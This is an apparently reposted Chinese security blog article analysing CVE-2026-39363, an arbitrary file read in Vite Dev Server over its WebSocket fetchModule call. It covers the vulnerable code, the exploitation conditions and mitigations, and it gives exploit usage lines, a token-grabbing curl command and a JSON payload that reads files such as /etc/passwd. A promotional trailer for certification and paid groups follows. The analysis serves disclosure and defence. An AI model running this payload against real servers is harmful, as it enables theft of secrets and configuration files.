CVE-2026-39363:ViteDevServerWebSocket任意文件读取漏洞深度剖析

admin 2026-04-28 06:20:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了CVE-2026-39363漏洞,该漏洞存在于ViteDevServer的WebSocketfetchModuleRPC调用中,当使用file://协议或无importer参数时会绕过isFileServingAllowed安全检查,导致攻击者可读取服务器任意文件。影响版本包括Vite6.2.3之前的多个版本,利用条件需要DevServer暴露于网络且fs.allow配置宽松。文章提供了完整的漏洞复现步骤、Python/Node.js验证脚本以及修复方案(升级Vite、严格配置fs.allow)。 综合评分: 72 文章分类: 漏洞分析,WEB安全,代码审计,安全工具,漏洞预警


cover_image

CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析

原创

MY0723 MY0723

不秃头的安全

2026年4月10日 17:42 北京

在小说阅读器读本章

去阅读

CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn\*d(中高)/c2n\*d(高与支撑单位)/安全证书请联系vx咨询</span>

一、漏洞概述

2026年3月,安全研究人员披露了 Vite Dev Server 中一个严重的安全漏洞,攻击者可通过 WebSocket 协议绕过安全检查,读取目标服务器上的任意文件。https://github.com/Firebasky/CVE-2026-39363可自行下载验证。

| 属性 | 信息 | | — | — | | 漏洞编号 | CVE-2026-39363 | | GHSA ID | GHSA-p9ff-h696-f583 | | 漏洞类型 | Arbitrary File Read(任意文件读取) | | 影响组件 | Vite Dev Server | | 影响版本 | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 | | CVSS 评分 | High | | 修复版本 | Vite >= 6.2.3 |


二、漏洞原理

核心问题

Vite Dev Server 的 WebSocket fetchModule RPC 调用存在安全检查绕过漏洞。当使用 file:// 协议或没有 importer 参数时,代码直接调用 resolveId,绕过了 isFileServingAllowed 检查。

代码审计

漏洞代码位于 vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

async&nbsp;function&nbsp;fetchModule(environment, url, importer, options = {})&nbsp;{
const&nbsp;isFileUrl = url.startsWith("file://");

// 关键漏洞点:当 URL 是 file:// 或没有 importer 时
// 直接调用 resolveId,没有进行 isFileServingAllowed 检查
if&nbsp;(isFileUrl || !importer) {
&nbsp; &nbsp;&nbsp;const&nbsp;resolved =&nbsp;await&nbsp;environment.pluginContainer.resolveId(url);
&nbsp; &nbsp;&nbsp;if&nbsp;(!resolved) {
&nbsp; &nbsp; &nbsp;&nbsp;thrownewError(`[vite] cannot find entry point module '${url}'.`);
&nbsp; &nbsp; }
&nbsp; &nbsp; url = normalizeResolvedIdToUrl(environment, url, resolved);
&nbsp; }
}

请求路径对比

HTTP 请求经过多层安全检查:

HTTP GET /@fs/C:/secret.txt
&nbsp; &nbsp; → ensureServingAccess()
&nbsp; &nbsp; → isFileServingAllowed()
&nbsp; &nbsp; → isFileLoadingAllowed() → BLOCKED

WebSocket 请求绕过了部分检查:

WebSocket: fetchModule("file://C:/secret.txt")
&nbsp; &nbsp; → fetchModule()
&nbsp; &nbsp; → (isFileUrl || !importer) → 直接 resolveId
&nbsp; &nbsp; → loadAndTransform()
&nbsp; &nbsp; → isFileLoadingAllowed() → 取决于 fs.allow 配置

三、利用条件

  1. Vite Dev Server 暴露在网络上(使用 --host 参数)
  2. server.fs.allow 配置宽松:
  • fs.allow: ['..'] – 可读取上级目录
  • fs.allow: ['C:/'] – 可读取整个 C 盘
  • fs.strict: false – 完全无限制
  1. 可获取 wsToken(通过访问 /@vite/client

四、环境搭建

# 克隆仓库
https://github.com/Firebasky/CVE-2026-39363/tree/main
直接下载,包含环境
cd&nbsp;CVE-2026-39363
# 安装依赖
npm install

# 启动 Vite Dev Server
npm run dev


五、漏洞复现

这里不知道自己token可以不指定先运行可以获取到值

方法一:Python 脚本

# 基本用法
python exp.py -t localhost -p 5173 -f&nbsp;"C:/Windows/win.ini"

# 读取项目外文件
python exp.py -t localhost -p 5173 -f&nbsp;"E:/secret.txt"

# 指定 token
python exp.py -t localhost -p 5173 -f&nbsp;"/etc/passwd"&nbsp;--token&nbsp;"your_token"

方法二:Node.js POC

# 获取 wsToken
curl -s&nbsp;"http://localhost:5173/@vite/client"&nbsp;| grep -o&nbsp;'wsToken = "[^"]*"'

# 运行 POC
node poc.js localhost 5173&nbsp;"C:/Windows/win.ini"&nbsp;"your_token"

手动利用步骤

  1. 获取 WebSocket Token:
curl -s&nbsp;"http://target:5173/@vite/client"&nbsp;| grep wsToken
  1. WebSocket 连接:
const&nbsp;ws =&nbsp;new&nbsp;WebSocket('ws://target:5173?token=TOKEN',&nbsp;'vite-hmr');
  1. 发送 payload:
{
&nbsp;&nbsp;"type":&nbsp;"custom",
&nbsp;&nbsp;"event":&nbsp;"vite:invoke",
&nbsp;&nbsp;"data": {
&nbsp; &nbsp;&nbsp;"id":&nbsp;"invoke_0",
&nbsp; &nbsp;&nbsp;"name":&nbsp;"fetchModule",
&nbsp; &nbsp;&nbsp;"data": ["file:///C:/Windows/win.ini"]
&nbsp; }
}


六、修复方案

1. 升级 Vite

npm update vite
# 或
npm install vite@latest

2. 限制 server.fs.allow

// vite.config.js
export&nbsp;default&nbsp;defineConfig({
&nbsp;&nbsp;server: {
&nbsp; &nbsp;&nbsp;fs: {
&nbsp; &nbsp; &nbsp;&nbsp;strict:&nbsp;true,
&nbsp; &nbsp; &nbsp;&nbsp;allow: ['.'] &nbsp;// 只允许项目根目录
&nbsp; &nbsp; }
&nbsp; }
})

3. 安全建议

  • 生产环境不要运行 Dev Server
  • 避免使用 --host 暴露服务
  • 使用防火墙限制对开发服务器的访问

七、总结

CVE-2026-39363 漏洞允许攻击者通过 WebSocket 协议读取 Vite Dev Server 配置允许范围内的任意文件。虽然 WebSocket 连接需要有效的 token,但攻击者可以通过访问 /@vite/client 获取该 token。

漏洞的严重性取决于目标服务器的 server.fs.allow 配置。如果配置过于宽松,攻击者可以读取服务器上的敏感配置文件、密钥、环境变量等。


八、参考资料

  • https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39363
  • https://github.com/Firebasky/CVE-2026-39363(包含环境及验证脚本可自行下载)

📄往期推荐:

Vim 高危 RCE 漏洞预警:打开文件即执行任意命令(CVE-2026-34714)

【紧急预警】Axios npm 供应链攻击事件完整分析报告——这可能是史上针对 Top 10 npm 包最复杂的攻击

Langflow RCE与技术细节CVE-2026-33017

黄油曲奇v1.0.3 集成化渗透测试浏览器插件

负载均衡下打内存马的奇淫技巧

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

1. 需要考以下各类安全证书的可以联系

①Cn*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:

2. 需要入星球的可以私聊优惠

1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安&nbsp;高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不秃头的安全 MY0723 MY0723《CVE-2026-39363:Vite Dev Server WebSocket 任意文件读取漏洞深度剖析》

评论:0   参与:  0